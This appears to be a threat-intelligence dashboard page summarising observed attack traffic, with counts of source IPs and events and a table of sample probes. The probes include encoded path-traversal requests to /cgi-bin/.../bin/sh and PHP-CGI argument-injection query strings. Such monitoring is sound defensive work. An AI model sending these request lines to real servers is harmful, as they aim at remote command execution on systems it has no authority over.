iAnonymous lookups: 30/hr per source IP. Sign in (free) to lift the limit, run heavier queries, and get an API key for MCP / HTTP.
Filtered actors · live query
94 unique IPs · 527 events · 30 countries · 55 ASNs
Activity · last 7d
peak 131 on 2026-07-10
Turn this query into a daily email digest or an IOC feed URL.Save as feed
Sample payloads
top distinct probes matching this query| Protocol | Port | Probe / payload | Hits | Example |
|---|---|---|---|---|
| HTTP | 443/HTTPS | POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh UA: libredtail-http | 137 · 94 IPs | 111.9.42.6 → |
| HTTP | 443/HTTPS | POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh UA: libredtail-http | 132 · 91 IPs | 111.9.42.6 → |
| HTTP | 443/HTTPS | POST /?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input UA: libredtail-http | 129 · 90 IPs | 111.9.42.6 → |
| HTTP | 443/HTTPS | POST /hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input UA: libredtail-http | 129 · 90 IPs | 111.9.42.6 → |
IPCountryASNTop portsEvents